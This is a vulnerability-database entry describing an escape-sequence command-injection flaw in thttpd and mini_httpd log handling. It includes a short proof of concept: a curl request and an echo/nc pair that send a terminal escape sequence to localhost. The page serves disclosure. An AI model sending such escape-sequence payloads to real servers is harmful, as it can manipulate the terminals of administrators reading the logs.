Lucene search
K

mini_httpd <= 1.18 HTTP Request Escape Sequence Terminal Command Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 39 Views

mini_httpd 1.18 HTTP Request Escape Sequence Terminal Command Injection vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/37714/info
 
Acme &#39;thttpd&#39; and &#39;mini_httpd&#39; are prone to a command-injection vulnerability because they fail to adequately sanitize user-supplied input in logfiles.
 
Attackers can exploit this issue to execute arbitrary commands in a terminal.
 
This issue affects thttpd 2.25b and mini_httpd 1.19; other versions may also be affected. 

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en &#34;GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d&#34; &#62; payload
nc localhost 80 &#60; payload 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation